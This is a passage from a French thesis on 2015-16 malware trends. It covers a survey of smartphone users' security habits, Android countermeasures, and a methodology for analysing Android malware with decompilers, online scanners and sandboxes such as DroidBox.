Comme on peut le voir sur la figure 2.7, la majorite des vulnerabilites utilisees pour infecterune machine sont des vulnerabilites de navigateurs web. Les autres logiciels principalement touchessont tous des logiciels tres courants, un choix plutot logique qui permet aux auteurs de maliciels detoucher un grand nombre d’utilisateurs.

Concernant les maliciels Android, selon les figures 2.8 et 2.9. Le type de maliciel le plus rependuest l’arnaque au SMS, les logiciels espions et les AdWares sont egalement assez presents. On noteraegalement l’explosion du nombre de maliciels apparaissant sur Android depuis quelques annees (figure2.10).

24

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

Figure 2.7 – Distribution des exploits utilises en 2015, par type d’application attaquee [20]

Figure 2.8 – Distribution de nouveau maliciel (par type) visant les systemes mobiles en 2015 [19]

25

2.9. STATISTIQUES Benoıt Zuckschwerdt

Figure 2.9 – Les maliciels les plus repandus sur Android en 2014 [42]

Figure 2.10 – Nombre de maliciels Android de 2011 a 2014 [15]

26

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

2.10 Sondage

Etant donne que la grande majorite des infections sur Android passe par de l’ingenierie sociale,il est interessant de connaıtre les habitudes des utilisateurs, ainsi que l’utilisation qu’ils font de leurssmartphones. Pour cela un sondage a ete fait aupres de 198 personnes pour connaıtre leur utilisationd’Android ou bien de leur smartphone.

La moyenne d’age des participants est de 24 ans, 90.4% des participants utilisent Android, lessecteurs les plus presents sont l’informatique (au moins 24% des participants) et l’economie (au moins13% des participants). Voici les questions qui ont ete posees :

1) Avez vous deja installe un application sans passer par votre marche officiel ?

52.5% ont repondu Non et 47.5% ont repondu Oui. Les raisons sont les suivantes :— Pour contourner une restriction due a la region— Pour le developpement— Pour installer une application normalement payante— Pour le travail— Pour tester un version beta— Pour installer une application interdite sur le marche officiel

Les applications trouvees en dehors du marche officiel viennent principalement des marcheesalternatifs, des torrents ou bien d’un proche de l’utilisateur.

Le nombre eleve de personne installant des applications depuis d’autres sources montre bienpourquoi le vecteur d’infection via le repackaging d’application piratee ou interdite est si present(voir chapitre 4.2).

2) Verifiez vous les permissions des applications que vous installez ?

30.8% ont repondu Non, 64.1% ont repondu Oui et 5.1% ne savent pas de quoi il s’agit.

Il reste beaucoup d’utilisateurs qui ne verifient pas du tout les permissions lors de l’installation.Que l’application viennent du marche officiel ou non c’est une prise de risque non negligeable.

3) Utilisez vous des applications de e-banking sur votre smartphone ?

58.1% ont repondu Non et 41.9% ont repondu Oui.

4) Avez-vous deja utilise une carte de credit depuis votre telephone ?

62.6% ont repondu Non et 37.4% ont repondu Oui.

5) Utilisez-vous le paiement sans contact avec votre smartphone (via NFC) ?

94.9% ont repondu Non, 1.5% ont repondu Oui et 3.5% ne savent pas de quoi il s’agit.

27

2.10. SONDAGE Benoıt Zuckschwerdt

6) Utilisez vous un ou plusieurs comptes e-mail sur votre smartphone ?

12.1% ont repondu Non et 87.9% ont repondu Oui.

7) Avez-vous un systeme d’authentification sur votre smartphone (ecran de verouillage) ?

17.7% ont repondu Non et 82.3% ont repondu Oui.

Pour deverrouiller leur smartphones les utilisateurs utilisent les methodes suivantes (il s’agissaitd’une reponse a choix multiples) :

— 12.3% utilisent un mot de passe via le clavier alphanumerique— 28.2% utilisent un mot de passe via le clavier numerique— 59.5% utilisent un motif— 25.2% utilisent l’empreinte digitale— 1.2% utilisent la reconnaissance faciale— 1.8% utilisent une autre methode

Le mot de passe des utilisateurs est connu par (il s’agissait d’une reponse a choix multiples) :— 43.5% sont les seuls a connaıtre leur mot de passe— 42% partagent leur mot de passe avec un ou plusieurs membres de leur famille— 29.7% partagent leur mot de passe avec un ou plusieurs amis— 2.2% partagent leur mot de passe avec un ou plusieurs collegues

8) Avez-vous deja active le mode ”debug” ?

32.8% ont repondu Non, 41.4% ont repondu Oui et 25.8% ne savent pas de quoi il s’agit.

9) Avez-vous roote votre smartphone ?

49% ont repondu Non, 27.3% ont repondu Oui et 23.7% ne savent pas de quoi il s’agit.

10) Avez-vous deja donne les droits d’administration a une application ?

54% ont repondu Non, 28.8% ont repondu Oui et 17.2% ne savent pas de quoi il s’agit.

11) Avez-vous une solution de securite sur votre smartphone (anti-virus) ?

67.7% ont repondu Non et 32.3% ont repondu Oui.

12) Effectuez-vous des sauvegardes regulieres des donnees de votre smartphone ?

38.4% ont repondu Non et 61.6% ont repondu Oui.

13) Effectuez-vous regulierement les mise a jour de vos application et du systeme ?

12.1% ont repondu Non et 87.9% ont repondu Oui.

28

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

Ce bon resultat s’explique par le fait que les mises a jours peuvent maintenant etre faıtes auto-matiquement.

Les questions 3, 4 et 5 montre que les smartphones peuvent contenir des informations bancairessensibles (solde, accreditations, carte de credit) et la question 6 montre une forte presence d’un compteemail, ce qui contient egalement des informations sensibles et peut souvent servir a reinitialiser unmot de passe.

Les utilisateurs n’ont pas tous des bonnes habitudes, au vu des reponses, les meilleurs conseilsgeneraux a donner sont d’eviter d’installer des applications en dehors du marche officiel et de faireattention aux permissions en faisant preuve de bon sens.

29

2.10. SONDAGE Benoıt Zuckschwerdt

30

Chapitre 3

Contre-mesures

Sommaire3.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3.2 Prevention aupres des utilisateurs . . . . . . . . . . . . . . . . . . . . . 32

3.3 Anti-virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3.4 Antivol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3.5 Pare-feu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33

3.6 Securite WiFi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

3.7 Sauvegardes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

3.8 Bonnes habitudes pour Android . . . . . . . . . . . . . . . . . . . . . . 34

31

3.1. INTRODUCTION Benoıt Zuckschwerdt

3.1 Introduction

La premiere etape pour lutter contre les maliciels est la prevention. On peut installer un anti-virus possedant une surveillance active qui se basera sur des signatures connues de maliciels, maisegalement surveillant activement les comportements suspects. On s’interessera ici particulierementaux contre-mesures pour Android.

3.2 Prevention aupres des utilisateurs

Les vecteurs d’infections dus a une action de la part d’utilisateurs trompes sont tres nombreux(Phishing, SMiShing, installation d’un logiciel pirate, etc.). En effet, souvent la technique des atta-quants consiste a pousser l’utilisateur a installer leur maliciel en les trompant de diverses facons. C’estpourquoi il est important d’eduquer les utilisateurs avec des conseils simples comme par exemple :

— Ne pas ouvrir de pieces-jointes suspectes— Ne pas ouvrir de liens venant d’email suspect— Verifier que les sites qui devraient etre en HTTPS le sont et que le certificat est valide— Verifier que le nom de domaine des sites visites est correct— Lorsqu’un email contient des liens, verifier que le domaine correspond bien a celui de l’expediteur— Ne jamais communiquer d’informations sensibles— En cas de doute demander l’avis de son service informatique ou de quelqu’un de plus experimente— Faire preuve de bon sens

3.3 Anti-virus

Que ca soit sur Android ou une autre plate-forme, beaucoup de solutions anti-virus existent.Celle-ci permettent de lutter contre les codes malveillants de maniere active. La prescence d’un anti-virus sur le telephone est une bonne chose, mais egalement sur les machines ou le telephone seraconnecte.

Solution proposee pour Android : Mobile Security & Antivirus

https://play.google.com/store/apps/details?id=com.avast.android.mobilesecurity

3.4 Antivol

Pour lutter contre le vol, la perte ou encore la subtilisation temporaire de l’appareil, il existeplusieurs solutions sur le Google Play Store offrant par exemples les fonctionnalites suivantes :

— Alarme sonore— Detection d’activite en temps reel— Localisation en temps reel— Enregistrement audio et video a distance— Controle de l’appareil a distance via une interface ou par SMS— Verouiller la memoire ou l’effacer

Solution proposee : Avast Anti-Theft

https://play.google.com/store/apps/details?id=com.avast.android.at_play

32

CHAPITRE 3. CONTRE-MESURES Benoıt Zuckschwerdt

3.5 Pare-feu

Il existe plusieurs pare-feu sur Android, normalement ces applications auraient besoin d’etre surun telephone roote pour fonctionner, mais il existe une astuce qui consiste a creer une connexionVPN locale qui est geree par le pare-feu permettant de faire passer tout le trafic par l’applicationsans avoir besoin de rooter le telephone.

Cela permet de filtrer le trafic en amont et en aval par applications (voir figure 3.1), on peutegalement filtrer les ports ou les adresses IP. On peut imaginer la mise en place d’une liste noires deserveurs utilises par des maliciels ou inversement une liste blanche des serveurs connus.

Le pare-feu est une contre-mesure tres efficace car beaucoup de maliciels utilisent l’acces a Internetpour communiquer avec un serveur distant.

Figure 3.1 – Pare-feu : demandes d’authorisation

Solution proposee : Firewall sans Root

https://play.google.com/store/apps/details?id=app.greyshirts.firewall&hl=fr

33

3.6. SECURITE WIFI Benoıt Zuckschwerdt

3.6 Securite WiFi

Les appareils Android sont souvent utilises pour se connecter a un reseau WiFi, cependant cesreseaux n’appartiennent pas toujours a l’utilisateur. Il faut faire attention aux reseaux non-protegescar le trafic passe en clair et on ne peut pas faire confiance au point d’acces. De plus il est possiblepour un attaquant d’effectuer une attaque de l’homme du milieu en manipulant les tables ARP pourque le trafic de la victime soit envoye a l’attaquant au lieu du point d’acces. Ce type d’attaquepeut etre detecte sur Android et si l’appareil est roote, l’attaque peut meme etre automatiquementempechee.

Solution proposee : WiFi ARP Guard

https://play.google.com/store/apps/details?id=com.mdl.arpguard

3.7 Sauvegardes

La meilleure protection contre les ransomware est d’avoir des sauvegardes de ses donnees. C’estune solution qui fonctionnera avec tous les ransomware utilisant le chiffrement, bien entendu il fautveiller a ce que le support de sauvegarde ne reste pas branche a la machine, car il risquerait de luiaussi etre chiffre. Les sauvegardes sont de maniere generale une tres bonne habitude et permettentd’eviter de nombreux soucis.

3.8 Bonnes habitudes pour Android

Voici quelques bonnes habitudes pour utilisation d’Android qui permettent de diminuer lesrisques.

— Toujours passer par le Google Play StoreSur le marches officiel des controles sont effectues, le risque est bien sur encore present. C’estpourquoi il est egalement important que l’utilisateur prenne connaissance des permissionsrequises par l’application lors de son installation.

— Ne pas rooter son appareilUn maliciel ayant acces au droit root peut avoir des consequences desastreuses, car il pourraabsolument tout faire sur l’appareil et ce en toute transparence.

— Eviter de donner les droits d’administrationCes droits permettent a une application d’acceder aux donnees des autres applications. Onpourrait alors par exemple recuperer les mails.

— Choisir un mot de passe fortSans un mot de passe sur l’ecran de verouillage (ou tout autre moyen d’authentification), ilest facile pour quelqu’un de rapidement effectuer une installation sur l’appareil ou encore decopier des donnees.Il y a aussi le mot de passe du compte Google, a savoir qu’avec celui-ci on peut acceder audonnees sauvegarder sur les serveurs de Google et meme installer une application a distance.

— Bloquer les services de telephonie surtaxesDemander a votre operateur de bloquer les services de telephonie surtaxes, ainsi si votresmartphone est infecte par un code malveillant ayant pour charge de passer des appels ouenvoyer des SMS a ce genre de service, vous en serez protege.

— Faire les mises a jour des applications et du systeme

34

Chapitre 4

Methodologie d’analyse sousAndroid

Sommaire4.1 Environnement Android . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

4.1.1 Developpement Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

4.1.2 Les activites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

4.1.3 Les diffusions systemes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

4.1.4 Les services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40

4.2 Vecteurs d’infection sous Android . . . . . . . . . . . . . . . . . . . . . 41

4.2.1 Repackaging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

4.2.2 Infection via une mise a jour . . . . . . . . . . . . . . . . . . . . . . . . . 41

4.2.3 Drive-by download . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

4.3 Outils . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

4.3.1 Android Studio et Android SDK . . . . . . . . . . . . . . . . . . . . . . . 44

4.3.2 Dex2jar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

4.3.3 APK to Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

4.3.4 JD Project . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

4.3.5 CFR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

4.3.6 ApkTool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

4.3.7 Autres outils . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46

4.3.7.1 jarsigner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46

4.3.7.2 keytool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46

4.3.7.3 zipalign . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46

4.4 Services en ligne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47

4.4.1 Dexter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47

4.4.2 Virustotal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48

4.4.3 Virusimmune . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48

4.4.4 NVISO ApkScan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

4.4.5 APK Analyzer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

4.4.6 Akana . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

35

Benoıt Zuckschwerdt

4.4.7 Services d’analyse anti-virus . . . . . . . . . . . . . . . . . . . . . . . . . . 50

4.5 Isolation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51

4.5.1 Emulateur du SDK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51

4.5.2 DroidBox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51

4.6 Techniques d’anti-analyse . . . . . . . . . . . . . . . . . . . . . . . . . . 53

4.6.1 Obfuscateurs Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54

4.7 Base de donnees de maliciels . . . . . . . . . . . . . . . . . . . . . . . . 54

36

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.1 Environnement Android

Android est un systeme d’exploitation mobile open-source qui est actuellement developpe parGoogle. Le noyau Android est base sur un noyau Linux. Les applications y sont ecrites en Java,transformees en bytecode (langage intermediaire entre les instructions machines et le code source)et finalement seront executees dans la machine virtuelle Dalvik. Le bytecode interprete par Dalvikpermet d’effectuer de la compilation just-in-time, c’est-a-dire, de generer les instructions machines.Le gros point fort ici est que le meme bytecode peut facilement etre execute sur differentes machinesayant des caracteristiques techniques differentes [11] [12].

Contrairement a la machine virtuelle classique de Java, Dalvik execute un bytecode different,dont les instructions sont basee sur des registres au lieu d’etre base sur la pile. Ce qui necessite moinsd’instructions, c’est alors mieux adapte a un appareil ayant peu de puissance de calcul [32].

Recemment, pour des raisons de performance et de brevet [31], Dalvik est en train d’etre remplacepar ART (Android Runtime). Cette technologie est retrocompatible, elle est apparu dans la version4.4 d’Android qui preservait encore Dalvik, a partir de la version 5.0, Dalvik a ete entierementremplace par ART. Contrairement a Dalvik, ART utilise la compilation anticipee (AOT : Ahead-of-time) au lieu d’utiliser la compilation just-in-time, ce qui ameliore les performances car ARTcompilera le bytecode une seul fois lors de l’installation. Ce changement rend l’execution plus rapideet par consequent la consomation electrique du processeur est diminuee ce qui est un grand atout pourdes appareils a batterie [32]. Lors de l’installation ART compile l’application en utilisant l’utilitairedex2oat. Cet outil accepte les fichiers DEX en entree et genere un code compile executable pourl’appareil cible [11].

Il est possible de decompiler les fichiers DEX en format Smali celui-ci represente les commandesutilise par la machine virtuel Dalvik.

.class public LHelloWorld;

.super Ljava/lang/Object;

.method public static main([Ljava/lang/String;)V

.registers 2

sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;

const-string v1, "Hello World!"

invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

return-void

.end method

Listing 1: Hello World en Smali [18]

37

4.1. ENVIRONNEMENT ANDROID Benoıt Zuckschwerdt

Les applications Android se trouvent sous le format APK, qui n’est en fait qu’une archive ZIPcontenant le manifeste Android (AndroidManifest.xml), le code (sous forme classes.dex), desressources necessaires au programme (des images par exemple) et eventuellement d’autres fichiers.

Le manifeste Android contient plusieurs informations primordiales au bon fonctionnement duprogramme, dont les permissions que l’application a besoin. Si celles-ci ne sont pas dans le manifeste,l’application ne pourra pas utiliser les fonctionnalites liees. Lors de l’installation ces permissionssont presentees a l’utilisateur, pour que celui-ci puisse verifier que l’application ne comporte pasde permissions suspectes, afin de prevenir des activites malveillantes. En pratique les utilisateursacceptent a peu pres tout.

Toutes les classes compilees de l’application sont regroupees dans le fichier classes.dex.

Figure 4.1 – Diagramme de l’architecture Android [38].

4.1.1 Developpement Android

Il y a quelques composants propres a Android necessaires a la comprehension de l’analyse.

4.1.2 Les activites

Une activite est un composant de l’application fournissant un affichage avec lequel l’utilisateurpeut interargir. Chaque activite a sa propre fenetre dans laquelle l’interface utilisateur est affichee.Cette fenetre peut etre en pleine ecran ou bien plus petite et par dessus une autre fenetre d’une autreactivite [2].

38

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

Figure 4.2 – Cycle de vie d’une activite [2]

4.1.3 Les diffusions systemes

Le systeme diffuse des informations (nommees action) aux applications, telles que le demarrage del’appareil, la connexion au secteur ou encore la modification de l’heure. Pour que l’application puisserecevoir ces informations, il est parfois necessaire qu’elle possede certaines permissions. Par exemplel’action ACTION_BOOT_COMPLETED qui est envoyee lorsque l’appareil a fini de demarrer necessite lapermission RECEIVE_BOOT_COMPLETED [4].

Cet action peut etre receptionnee par un BroadcastReceiver via une declaration dans le mani-feste [3].

39

4.1. ENVIRONNEMENT ANDROID Benoıt Zuckschwerdt

4.1.4 Les services

Un service est un composant de l’application qui peut effectuer des operations en arriere plan.Un service ne fournis pas d’interface utilisateur. Les services peuvent etre demarres par d’autrescomposants, ceux-ci continueront a tourner meme si l’utilisateur passe sur une autre application.Les services sont souvent utilise pour effectuer des taches qui seraient bloquant depuis une activite(communication reseau, lecture/ecriture, etc.) [5].

Il est entre autre possible de demarrer un service en utilisant un BroadcastReceiver et donc pourreprendre l’exemple precedant, on peut executer du code en arriere plan lors du demarrage.

Figure 4.3 – Cycle de vie d’un service [5]

40

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.2 Vecteurs d’infection sous Android

Pour infecter un appareil mobile, les attaquants vont souvent leurrer l’utilisateur a fin de lepousser a installer leur maliciel. On peut distinguer plusieurs techniques [24].

4.2.1 Repackaging

Cette technique consiste a reprendre une application existante et legitime, comme par exempleune application populaire sur le Google Play, voir meme payante, de la dessasembler, d’ajouter lacharge malveillante, de la reassembler et finalement de la proposer sur un marche d’application officielou un autre marche d’applications alternatif.

Le repackaging est une des techniques les plus utilisees par les auteurs de maliciels sous Android.En effet, les analystes Xuxian Jiang et Yajin Zhou ont recoltes 1260 maliciels Android pour leursrecherches, afin de savoir lesquels de ces maliciels sont concernes par le repackaging, l’approchesuivante a ete utilisee ; si un maliciel partage le meme nom de package qu’une application se trouvantsur le marche officiel, l’application est telechargee puis les differences sont comparees manuellement.Si l’application n’est pas disponible sur le marche officiel, le maliciel est dessassemble et analyse afinde determiner si la charge malveillante est la principale fonctionnalite de l’application hote. Au finalsur les 1260 echantillons, 1083 applications sont concernees par le repackaging (86%) [25].

4.2.2 Infection via une mise a jour

Ce type d’attaque peut etre couplee avec le repackaging, mais au lieu d’ajouter une charge mal-veillante dans l’application, un composant de mise a jour est place dans l’application. Son but est detelecharger la charge malveillante en proposant a l’utilisateur une mise a jour. A noter que la chargepeut aussi etre cachee dans les ressources de l’application. Cette technique peut empecher l’analysestatique de la charge puisque celle si n’est pas forcement presente dans l’application. Cette attaquerequiert que l’utilisateur accepte la mise a jour [26].

4.2.3 Drive-by download

Cette troisieme technique consiste a pousser l’utilisateur a installer l’application malveillante parlui-meme, en proposant par exemple des fonctionnalites interessantes. La distribution ne se fait doncpas depuis le marche officiel, mais depuis des marches alternatifs, depuis des sites dont les liens sontenvoyes par email ou par SMS, ou encore via des campagnes de publicites [27].

Voici trois exemples d’arnaque de ce style (figure 4.4 et 4.5). Des informations assez precisessont donnees sur la marque et le modele du smartphone, celle-ci sont surement recupere grace al’user-agent ou encore via la resolution de l’ecran.

41

4.2. VECTEURS D’INFECTION SOUS ANDROID Benoıt Zuckschwerdt

Figure 4.4 – Drive-by download : exemples d’arnaque

42

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

Figure 4.5 – Drive-by download : exemple d’arnaque

43

4.3. OUTILS Benoıt Zuckschwerdt

4.3 Outils

Cette section contient plusieurs outils utilises lors de l’analyse, du developpement ou encore durepackaging d’une application Android.

4.3.1 Android Studio et Android SDK

Android Studio est l’IDE officiel pour le developpement d’application Android, il est base surIntelliJ.

L’Android SDK est une collection d’outils tres complete comprenant [10] :— Android Virtual Device (AVD) Manager :

AVD permet de creer et gerer les machines virtuelles qui tourneront dans l’emulateur.— Android Emulator :

Base sur QEMU, cet outil permet de deboguer et tester les applications dans un environnementAndroid.

— mksdcard :Permet de creer des images disque qui pourront etre utilisees dans l’emulateur, comme parexemple pour simuler la presence d’une carte SD.

— Android Monitor :Cet outil permet de profiler les performances d’une application dans une optique d’optimisa-tion ou de debug. On peut monitorer les messages, l’usage des ressources (memoire, CPU etGPU) et le trafic reseau. Il est egalement possible d’effectuer des dumps de la memoire. Fi-nalement, il permet aussi de prendre des captures d’ecrans ou des videos pendant l’executionde l’application.

— Android Debug Bridge (ADB) :ADB permet de communiquer avec un emulateur ou un telephone Android connecte. On peutnotamment obtenir un shell sur la machine ou encore installer un fichier APK.

— Logcat :Logcat est un outil qui dump les messages systemes, cela inclu les traces de la pile, lorsqu’ily a une erreur et les messages emis via la classe Log.

https://developer.android.com/studio/index.html

4.3.2 Dex2jar

Dex2jar est un ensemble d’outils tres utiles permettant de convertir le fichier *.dex en fichiers*.class Jar. Il peut egalement decompiler en code Smali.

Lien du projet : https://github.com/pxb1988/dex2jar

4.3.3 APK to Java

Cet outil peut decompresser l’APK, puis decompiler le fichier DEX en Java, additionnellement ilest egalement possible de decompiler en code Smali. Il utilise plusieurs autres outils externes, dontdex2jar. Ce n’est pas l’outil le plus mis a jour, mais il est simple a utiliser.

Lien du projet : http://forum.xda-developers.com/showthread.php?t=1910873

44

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.3.4 JD Project

Le JD Project (Java Decompiler Project) est un ensemble d’outils permettant de decompiler dubytecode Java 5 ou plus. On peut l’utiliser depuis une interface GUI (JD-GUI) ou bien il existe aussiun plugin pour Eclipse et IntelliJ. C’est l’outil qui va dans la suite logique apres avoir utilise dex2jarpour obtenir les classes, JD permettra d’obtenir du code Java.

Lien du projet : http://jd.benow.ca/

4.3.5 CFR

CFR est un autre decompilateur Java. Il supporte Java 5 et plus et sa derniere mise a jour estrecente (mars 2016). Les decompilateurs java peuvent fournir des codes resultants differents, c’estpourquoi il peut etre pratique d’en utiliser plusieurs.

Lien du projet : http://www.benf.org/other/cfr/

Figure 4.6 – CFR : decompilation de la methode toString [13].

4.3.6 ApkTool

ApkTool est un outil permettant de decoder les ressources ainsi que le manifeste et egalementd’acceder au code Smali. Il peut aussi reconstruire l’APK depuis les ressources, le manifeste et lecode smali, ce qui est tres utile pour repacker une application.

Lien du projet : https://ibotpeaches.github.io/Apktool/

45

4.3. OUTILS Benoıt Zuckschwerdt

Figure 4.7 – Creation d’un APK a partir du Java et inversement.

4.3.7 Autres outils

4.3.7.1 jarsigner

Jarsigner est un utilitaire permettant de signer une application Android avec un certificat etegalement de verifier cette signature.

4.3.7.2 keytool

Keytool permet de creer des certificats qui pourront etre utilises pour signer l’APK avec jarsigner.

4.3.7.3 zipalign

Zipalign permet d’aligner les octets des APKs.

46

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.4 Services en ligne

Il existe plusieurs services en ligne permettant d’analyser une application Android ou consulterdes analyses.

4.4.1 Dexter

Dexter est un service Web permettant d’uploader des applications Android afin de pouvoir lesanalyser de maniere statique. Ce service possede egalement des fonctionnalites de collaboration per-mettant de travailler a plusieurs sur un projet.

Le graphique des dependances permet de facilement acceder aux classes des packages et a leursmethodes. On peut voir ou une methode est appelee et quelles methodes sont appelees par elles. Onpeut aussi acceder aux graphiques des fonctions, qui sont des representations en Smali.

http://dexter.dexlabs.org/

Figure 4.8 – Graphique des dependances entres les differents packages d’une application Android.

47

4.4. SERVICES EN LIGNE Benoıt Zuckschwerdt

4.4.2 Virustotal

Virustotal est un service gratuit permettant d’analyser des fichiers pour detecter la prescence demaliciel. Dans le cas des APK, Virustotal ressort plusieurs informations, telles que les permissions,les activites, les services et plus encore.

Virustotal ne permet pas une analyse approfondie du code, mais peut quand-meme aider a rapi-dement remarquer certaines fonctionnalites suspectes que peut avoir une d’une application, commepar exemple sur la figure 4.9, on l’on constate assez aisement que l’application a les permissions pourlire et envoyer des SMS et qu’elle en lit certainement.

http://virustotal.com/

Figure 4.9 – Virustotal : informations concernant un fichier APK.

4.4.3 Virusimmune

Virusimmune est un service gratuit permettant d’uploader un fichier qui sera ensuite analyse parplusieurs anti-virus (tout comme virustotal). Il ne livre par contre pas d’autres infromations.

http://virusimmune.com.br/

48

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.4.4 NVISO ApkScan

NVISO est un service Web ou l’on peut envoyer un fichier APK qui sera analyse de maniere sta-tique et dynamique. Ce service ressort plusieurs infromations grace a l’analyse statiques (permissions,services et les URLs trouves dans le code). Mais les informations les plus interessantes viennent del’analyse dynamique :

— Activite du disque (fichiers accedes)— Activite reseau (connexions ouvertes), voir figure 4.11— Appels et SMS envoyes— Activite cryptographique (utilisation de cle de chiffrement ou d’operation de chiffrement)— Fuite d’informations

L’analyse dynamique se fait dans un emulateur, ou des entrees utilisateurs aleatoires sont en-voyees a l’application, dans le but de reproduire le comportement d’un utilisateur et d’interargiravec l’application. Une image animee de l’analyse est generee, permettant de voir le programmetourner dans l’emulateur. https://apkscan.nviso.be/

Ce service Web utilise DroidBox pour realiser ses analyses, cet outil est decrit dans le chapitre4.5.

Figure 4.10 – Nviso : capture de requetes GET sur http://www.heig-vd.ch/.

4.4.5 APK Analyzer

APK Analyzer est un service en ligne base sur Joe Sandbox Mobile. Ce service effectue des analysesstatiques et dynamiques. Il est egalement capable d’effectuer des analyses sur de vrais telephones, cequi peut etre utile contre les maliciels evasifs.

Joe Sandbox Mobile analyse les fichiers APK dans un environnement monitore et cherche lescomportements suspects. L’analyse finale nous donne enormement d’informations, comme on peutnotamment le voir dans les rapports disponibles a cette adresse :http://joesecurity.org/joe-sandbox-reports#android

Pour resumer quelques informations disponibles via ce service :— Activite reseau (tres complete)— Comportements suspects (Envoie de SMS, recolte d’informations techniques ou sensibles, etc.)— Des informations venant de l’analyse statique (URLs hardcodees, permissions, etc.)— Le code Smali— La liste des methodes executees et non-executees

49

4.4. SERVICES EN LIGNE Benoıt Zuckschwerdt

4.4.6 Akana

Akana est un service d’analyse d’application Android. L’upload d’application necessite d’etreenregistre et pour cela il est necessaire d’avoir une invitation. Par contre il est possible de consulterles rapports d’analyses disponibles sur le site : http://akana.mobiseclab.org/

Akana parcourt le manifeste pour detecter la prescence de permissions dangeureuses. Il ana-lyse egalement le code afin de detecter certaines fonctionnalites pouvant etre suspectes, comme parexemple :

— Requete de l’identifiant de l’appareil— Connection HTTP— Acces au contacts— Acces a l’historique du navigateur Web— Demarrage au boot— Reception de SMS— Acces aux SMS— Suppression de logs— Tuer un processus tournant en fond de tache— Detection de code embarque— Etc.

4.4.7 Services d’analyse anti-virus

Service Nombre d’anti-virus Gratuit Taille max. Lien

Metadefender 43 Oui 140MB https://www.metadefender.com/

AVCaesar 9 Oui ? https://avcaesar.malware.lu/

Virustotal 56 Oui 128MB https://virustotal.com/

VirusImmune 86 Oui 300MB http://virusimmune.com/

Table 4.1 – Services d’analyse anti-virus

50

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.5 Isolation

Pour effectuer l’analyse de maliciels il est necessaire de travailler dans un environnement virtuelafin d’eviter que notre systeme hote soit infecte. Pour ce faire nous pouvons utiliser les logicielsVMware ou bien VirtualBox.

4.5.1 Emulateur du SDK

Il est possible d’utiliser l’emulateur d’Android SDK pour pouvoir analyser les applications demaniere dynamique evitant ainsi d’utiliser une machine physique et permettant de monitorer lesactivites du programme, pour se faire il faut telecharger Android SDK et pour que cela soit plusagreable a manager je conseillerais Android Studio. Il est des lors possible d’emuler des appareilsAndroid (telephones, montres, etc.) et de faire tourner dessus la version souhaitee d’Android.

Pour le monitoring en general, nous pouvons utiliser les outils d’Android SDK. Il peut aussi etretres interressant d’utiliser un outil de capture du trafic reseau comme Wireshark.

4.5.2 DroidBox

DroidBox est une solution faıte expres pour realiser une analyse dynamique d’une applicationAndroid. Elle utilise l’emulateur d’Android SDK, fonctionne avec le telephone virtuel Nexus 4 et lesysteme d’exploitation Android 4.1 (Jelly Bean).

Les resultats d’une analyse avec DroidBox produit les informations suivantes :

— Hash du APK analyse— Donnees reseaux entrantes et sortantes— Operation d’ecriture et de lecture— Services lances et classes chargees— Information sur les fuites via le reseau, des fichiers ou par SMS.— Permissions contournees— Operations cryptographiques faites via l’API d’Android— SMS envoyes et appels telephoniques

